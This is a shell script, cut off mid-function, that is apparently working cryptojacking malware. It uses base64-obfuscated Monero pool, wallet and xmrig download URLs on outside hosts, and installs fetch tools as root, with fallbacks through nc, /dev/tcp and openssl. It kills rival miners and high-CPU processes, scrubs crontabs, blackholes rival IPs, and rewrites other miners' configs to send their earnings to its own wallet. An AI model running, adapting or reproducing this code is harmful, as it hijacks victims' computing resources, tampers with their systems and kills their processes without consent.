#!/bin/sh
_d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
#!/bin/sh
if [ -z "$BASH_VERSION" ]; then
  case "$0" in
    /*|./*)
      if command -v bash >/dev/null 2>&1; then
        exec bash "$0" "$@"
      fi
    ;;
  esac
fi
_c1="${1:-x}"
_c2=$(_d 'aHR0cHM6Ly9naXN0cGFkLmNvbS9naG1pa2xhZ2gtMw==')
_c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
_c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
_c5=$(_d 'Z29Bd2dCQ0ZI')
_c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
_c7=$(_d 'aHR0cHM6Ly9naXRlZS5jb20vYWxiZXJ0b3RyaW5kYWRlMTMxX3BuZy94bXJpZy9yYXcvbWFpbi94bXJpZw==')
_c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
_c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
_preflight() {
  _pf_need_fetch=1  # always need HTTP fetch capability
  # Determine what we have
  _check_tools() {
    _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
    command -v curl    >/dev/null 2>&1 && _pf_has_curl=1
    command -v wget    >/dev/null 2>&1 && _pf_has_wget=1
    command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
    command -v perl    >/dev/null 2>&1 && _pf_has_perl=1
  }
  _check_tools
  # Can we fetch?
  _pf_can_fetch() {
    # curl or wget alone is sufficient
    [ "$_pf_has_curl" = "1" ] && return 0
    [ "$_pf_has_wget" = "1" ] && return 0
    # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
    [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
    return 1
  }
  # If we can't fetch, try to install as root
  if ! _pf_can_fetch; then
    log "PREFLIGHT: missing HTTP fetch capability"
    if [ "$(id -u)" = "0" ]; then
      log "Running as root — installing missing components..."
      _pf_installed=0
      # Try package managers in order of preference: curl first (simplest),
      # then wget, then openssl+perl
      if command -v apk >/dev/null 2>&1; then
        # Alpine: prefer curl, then wget
        if [ "$_pf_installed" = "0" ]; then
          log "  trying apk add curl..."
          apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
        fi
        if [ "$_pf_installed" = "0" ]; then
          log "  trying apk add wget..."
          apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
        fi
        if [ "$_pf_installed" = "0" ]; then
          log "  trying apk add openssl perl..."
          apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
        fi
      elif command -v apt-get >/dev/null 2>&1; then
        # Debian/Ubuntu: prefer curl, then wget
        apt-get update -qq >/dev/null 2>&1
        if [ "$_pf_installed" = "0" ]; then
          log "  trying apt-get install curl..."
          apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
        fi
        if [ "$_pf_installed" = "0" ]; then
          log "  trying apt-get install wget..."
          apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
        fi
        if [ "$_pf_installed" = "0" ]; then
          log "  trying apt-get install openssl perl..."
          apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
        fi
      elif command -v yum >/dev/null 2>&1; then
        # RHEL/CentOS
        if [ "$_pf_installed" = "0" ]; then
          log "  trying yum install curl..."
          yum install -y curl >/dev/null 2>&1 && _pf_installed=1
        fi
        if [ "$_pf_installed" = "0" ]; then
          log "  trying yum install wget..."
          yum install -y wget >/dev/null 2>&1 && _pf_installed=1
        fi
      elif command -v dnf >/dev/null 2>&1; then
        # Fedora
        if [ "$_pf_installed" = "0" ]; then
          log "  trying dnf install curl..."
          dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
        fi
      fi
      # Re-check after install
      _check_tools
      if _pf_can_fetch; then
        log "PREFLIGHT: install succeeded"
      else
        log "PREFLIGHT FAIL: could not install fetch tools. Exiting."
        exit 0
      fi
    else
      log "PREFLIGHT FAIL: no curl/wget/(openssl+perl), not root — cannot install. Exiting."
      exit 0
    fi
  fi
  # Report what we have
  _pf_tools=""
  [ "$_pf_has_curl" = "1" ]    && _pf_tools="$_pf_tools curl"
  [ "$_pf_has_wget" = "1" ]    && _pf_tools="$_pf_tools wget"
  [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  [ "$_pf_has_perl" = "1" ]    && _pf_tools="$_pf_tools perl"
  log "PREFLIGHT OK: fetch available via:$_pf_tools"
}
_preflight

_q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'

_z7() {
    _r1="${1:-/var/tmp/.odoo_pg_health.json}"
    _r2="${2:-/var/tmp/.odoo_pg_start}"
    _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
    _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
    _h1 "$_r1" "$_s1"
    _h1 "$_r2" "$_s2"
    return 0
}

_h1() {
    _f0="$1"
    _p0="$2"
    _t0="${_f0}.$$"
    command -v sed >/dev/null 2>&1 || return 0
    command -v cat >/dev/null 2>&1 || return 0
    [ -f "$_f0" ] || return 0
    [ -r "$_f0" ] || return 0
    [ -w "$_f0" ] || return 0
    if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
        if cat "$_t0" > "$_f0" 2>/dev/null; then
            :
        fi
    fi
    rm -f "$_t0" 2>/dev/null || :
    return 0
}

mask_enemy() { _z7 "$@"; }


detect_kill_unicorn() {
    _dk_uid=$(id -u 2>/dev/null || echo 0)
    _dk_user=$(id -un 2>/dev/null || echo "")
    _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
    [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
    _dk_cldir="$_dk_home/.claude"

    # Target 1: the daemonized miner, identified by cwd == ~/.claude.
    # Safe: nothing legitimate ever runs from the worm's hidden dir.
    _dk_miners=""
    for _dk_proc in /proc/[0-9]*; do
        [ -d "$_dk_proc" ] || continue
        _dk_pid=${_dk_proc#/proc/}
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
        [ "$_dk_pid" = "$$" ] && continue
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
        [ "$_dk_owner" = "$_dk_uid" ] || continue
        _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
        case "$_dk_cwd" in
            "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
        esac
    done

    # Target 2: the live CRON jobs -> descendants respawner tree
    _dk_crons=""
    for _dk_proc in /proc/[0-9]*; do
        [ -d "$_dk_proc" ] || continue
        _dk_pid=${_dk_proc#/proc/}
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
        [ "$_dk_pid" = "$$" ] && continue
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
        [ "$_dk_owner" = "$_dk_uid" ] || continue
        [ -r "$_dk_proc/cmdline" ] || continue
        _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
        _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
        _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
        _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
        [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
        [ "$_dk_a1" = "jobs" ] || continue
        [ -n "$_dk_a2" ] && continue
        _dk_crons="$_dk_crons $_dk_pid"
    done

    # expand CRON jobs to all descendants
    _dk_tree="$_dk_crons"
    for _dk_round in 1 2 3 4 5; do
        for _dk_proc in /proc/[0-9]*; do
            [ -d "$_dk_proc" ] || continue
            _dk_pid=${_dk_proc#/proc/}
            [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
            [ "$_dk_pid" = "$$" ] && continue
            _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
            [ "$_dk_owner" = "$_dk_uid" ] || continue
            _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
            case " $_dk_tree " in
                *" $_dk_pp "*)
                    case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
                    ;;
            esac
        done
    done

    # Kill everything (miners + cron tree), TERM then KILL
    _dk_all="$_dk_miners $_dk_tree"
    for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
    sleep 1 2>/dev/null
    for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done

    # Scrub the respawner: crontab + payload files in .claude
    _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
    if command -v crontab >/dev/null 2>&1; then
        _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
        if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
            if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
                grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
                echo "[dk] scrubbed crontab: $_dk_user"
            fi
        fi
        rm -f "$_dk_ct" 2>/dev/null
    fi
    for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
        [ -f "$_dk_f" ] || continue
        grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
        chattr -f -ia "$_dk_f" 2>/dev/null
        sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
    done

    # remove the worm payload files (only ones we own, only inside .claude)
    if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
        for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
            [ -e "$_dk_f" ] || continue
            [ -O "$_dk_f" ] || continue
            chattr -f -ia "$_dk_f" 2>/dev/null
            rm -f "$_dk_f" 2>/dev/null
            echo "[dk] removed: $_dk_f"
        done
    fi

    [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
        || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
    return 0
}


detect_kill_unicorn

http_get() {
  _hg_url="$1"; _hg_follow=0
  while [ "$_hg_follow" -lt 5 ]; do
    _hg_follow=$((_hg_follow + 1))
    _hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
    _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
    [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
    _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
    [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
    _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
    printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
      "$_hg_path" "$_hg_host" > "$_hg_req"
    if [ "${_hg_url#https://}" != "$_hg_url" ]; then
      # HTTPS — openssl s_client with SNI
      if command -v timeout >/dev/null 2>&1; then
        timeout 45 openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      else
        openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      fi
      [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
    else
      # Plain HTTP — use nc (netcat) if available (works on Alpine)
      if command -v nc >/dev/null 2>&1; then
        cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
      elif [ -n "$BASH_VERSION" ]; then
        # bash /dev/tcp fallback
        exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
        cat "$_hg_req" >&3
        cat <&3 > "$_hg_raw" 2>/dev/null
        exec 3>&-
      else
        # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
        cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
      fi
    fi
    _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
    case "$_hg_status" in
      301|302|303|307|308)
        _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
        rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
        [ -z "$_hg_loc" ] && return 1
        case "$_hg_loc" in
          /*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
          http://*|https://*) ;;
          *) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
        esac
        _hg_url="$_hg_loc"
        continue
      ;;
    esac
    tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
      if (/^(.*?)\n\n(.*)$/s) {
        my ($h, $b) = ($1, $2);
        if ($h =~ /transfer-encoding:\s*chunked/i) {
          my $out = "";
          while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
            my $sz = hex($1); last if $sz == 0;
            $b = $2; $out .= substr($b, 0, $sz);
            $b = substr($b, $sz); $b =~ s/^\n//;
          }
          print $out;
        } else { print $b; }
      }
    ' | grep -v '^[0-9a-fA-F]*$'
    rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
    return 0
  done
  return 1
}
http_get_bin() {
  _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  while [ "$_hg_follow" -lt 5 ]; do
    _hg_follow=$((_hg_follow + 1))
    _hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
    _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
    [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
    _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
    [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
    _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
    printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
      "$_hg_path" "$_hg_host" > "$_hg_req"
    if [ "${_hg_url#https://}" != "$_hg_url" ]; then
      # HTTPS — openssl s_client with SNI
      if command -v timeout >/dev/null 2>&1; then
        timeout 45 openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      else
        openssl s_client -connect "${_hg_ip}:443" \
          -servername "$_hg_host" -quiet \
          < "$_hg_req" > "$_hg_raw" 2>/dev/null
      fi
      [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
    else
      # Plain HTTP — nc or bash /dev/tcp
      if command -v nc >/dev/null 2>&1; then
        cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
      elif [ -n "$BASH_VERSION" ]; then
        exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
        cat "$_hg_req" >&3
        cat <&3 > "$_hg_raw" 2>/dev/null
        exec 3>&-
      else
        cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
      fi
    fi
    _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
    case "$_hg_status" in
      301|302|303|307|308)
        _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
        rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
        [ -z "$_hg_loc" ] && return 1
        case "$_hg_loc" in
          /*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
          http://*|https://*) ;;
          *) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
        esac
        _hg_url="$_hg_loc"
        continue
      ;;
    esac
    perl -0777 -ne '
      if (/^(.*?)\r\n\r\n(.*)$/s) {
        my ($h, $b) = ($1, $2);
        $h =~ s/\r//g;
        if ($h =~ /transfer-encoding:\s*chunked/i) {
          my $out = "";
          while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
            my $sz = hex($1); last if $sz == 0;
            $b = $2; $out .= substr($b, 0, $sz);
            $b = substr($b, $sz); $b =~ s/^\r?\n//;
          }
          print $out;
        } else { print $b; }
      }
    ' < "$_hg_raw" > "$_hg_out"
    rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
    [ -s "$_hg_out" ] && return 0 || return 1
  done
  return 1
}
fetch_url() {
  _fu_url="$1"
  if command -v curl >/dev/null 2>&1; then
    curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  elif command -v wget >/dev/null 2>&1; then
    wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  else
    http_get "$_fu_url"
  fi
}
fetch_file() {
  _ff_url="$1"; _ff_out="$2"
  if command -v curl >/dev/null 2>&1; then
    curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
      --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  elif command -v wget >/dev/null 2>&1; then
    wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  else
    http_get_bin "$_ff_url" "$_ff_out"
  fi
}
_is_excluded() {
  _ie_cmdline="$1"
  for _ie_pat in $_c6; do
    case "$_ie_cmdline" in
      *"$_ie_pat"*) return 0 ;;
    esac
  done
  return 1
}
kill_themf() {
  (
    set +e
    _kt_threshold=7
    for _kt_proc in /proc/[0-9]*; do
      [ -r "$_kt_proc/status" ] || continue
      _kt_pid="${_kt_proc#/proc/}"
      _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
      # Exclude our miner
      _is_excluded "$_kt_cmdline" && continue
      _kt_score=0
      _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
      _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
      _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
      _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
      _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
      _kt_rss=${_kt_rss:-0}
      _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
      [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
      [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
      [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
      _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
      [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
      [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
      _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
      if [ "$_kt_user" != root ]; then
        case "$_kt_state" in
          S*) _kt_score=$((_kt_score + 1)) ;;
        esac
      fi
      case "$_kt_exe" in
        /tmp/*|/var/tmp/*|/dev/shm/*)
          _kt_score=$((_kt_score + 4)) ;;
        "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
          _kt_score=$((_kt_score + 4)) ;;
      esac
      [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
      if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
        echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
        kill -9 "$_kt_pid" 2>/dev/null
      fi
    done
  )
  return 0
}
kill_mf3() {
  (
    set +e
    _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
    _km_skip="$_c5"
    _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
    _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
    # Tier 1: watchdogs + grep scanner
    _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
    # Tier 2: miners
    _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
    _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
    _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
    # T1: SIGTERM then SIGKILL
    _km_t1p=$(_km_pids_of "$_km_t1")
    _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
    _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
    if [ -n "$_km_list" ]; then
      kill -TERM $_km_list 2>/dev/null; sleep 1
      for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
    fi
    # T2: SIGTERM then SIGKILL
    _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
    if [ -n "$_km_list" ]; then
      kill -TERM $_km_list 2>/dev/null; sleep 2
      for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
    fi
    # T3: orphans
    sleep 1
    _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
    [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  )
  return 0
}
kill_and_remove_process() {
  _karp_term="$1"
  [ -z "$_karp_term" ] && return 2
  for _karp_dir in /proc/[0-9]*; do
    [ -r "$_karp_dir/comm" ] || continue
    _karp_pid="${_karp_dir##*/}"
    _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
    _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
    if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
      continue
    fi
    _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
    [ -z "$_karp_exe" ] && continue
    # Skip system binaries
    case "$_karp_exe" in
      /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
    esac
    echo "Terminating '$_karp_term' PID=$_karp_pid"
    kill "$_karp_pid" 2>/dev/null; sleep 1
    kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
    if [ -f "$_karp_exe" ]; then
      rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
    fi
  done
  return 0
}
kill_high_cpu() {
  _khc_threshold=150.0
  ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
    [ -f "/proc/$_khc_pid/cmdline" ] || continue
    _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
    _is_excluded "$_khc_cmdline" && continue
    kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  done
}
harden_network() {
  command -v iptables >/dev/null 2>&1 && {
    iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
    iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  }
  command -v ip >/dev/null 2>&1 && {
    ip route add blackhole 139.59.59.33 2>/dev/null || true
    ip route add blackhole 45.94.31.89 2>/dev/null || true
    ip route add blackhole 154.89.152.115 2>/dev/null || true
    ip route add blackhole 84.21.173.223 2>/dev/null || true
    ip route add blackhole 142.132.131.238 2>/dev/null || true
  }
}
cleanup_files() {
  # Remove competing miner artifacts (union of all scripts)
  rm -rf /bin/softirq 2>/dev/null || true
  rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  rm -rf /usr/local/bin/watcher 2>/dev/null || true
  rm -rf /tmp/runnv/* 2>/dev/null || true
  rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  rm -rf /tmp/nuclear 2>/dev/null || true
  rm -f /tmp/mon.sh 2>/dev/null || true
  rm -f /tmp/run.sh 2>/dev/null || true
  # Reclaim as honeypots
  mkdir -p /bin/softirq 2>/dev/null || true
  mkdir -p /tmp/nuclear 2>/dev/null || true
  mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  # Remove old dns-filter artifacts
  for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
    [ -f "$_cf_f" ] && rm -f "$_cf_f"
  done
}
safe_patch_args() {
  _spa_file='/lib/systemd/cache/process-watcher'
  _spa_value="-o $_c3 -u $_c4/P2 --tls"
  [ -f "$_spa_file" ] || return 0
  _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
    sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  else
    printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  fi
}
replace_pool_user() {
  _rpu_path="/var/tmp/.odoo_pg_health.json"
  [ -f "$_rpu_path" ] || return 0
  _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  _rpu_tmp="${_rpu_path}.tmp.$$"
  sed -e "s|\(\"user\"[     ]*:[    ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
    <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
}
get_cpu_count() {
  if [ -f /proc/cpuinfo ]; then
    grep -c '^processor' /proc/cpuinfo
  else
    sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  fi
}
is_ec2_host() {
  hostname | grep -qi -e "ec2" -e "compute"
}
is_our_process_running() {
  for _iop_dir in /proc/[0-9]*; do
    [ -r "$_iop_dir/cmdline" ] || continue
    _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
    if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
      _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
      [ "$_iop_state" = "Z" ] && continue
      _iop_pid="${_iop_dir##*/}"
      case "$_ga_arch" in
        aarch64|arm64|armv8l)
          case "$_iop_cmdline" in
            *"/$_c1"*) ;;
            *)
              echo "ARM process uses a different identifier; replacing"
              kill -9 "$_iop_pid" 2>/dev/null
              sleep 1
              continue
              ;;
          esac
          ;;
      esac
      _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
      _iop_cpu=${_iop_cpu:-0}
      _iop_int=${_iop_cpu%.*}
      _iop_int=${_iop_int:-0}
      if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
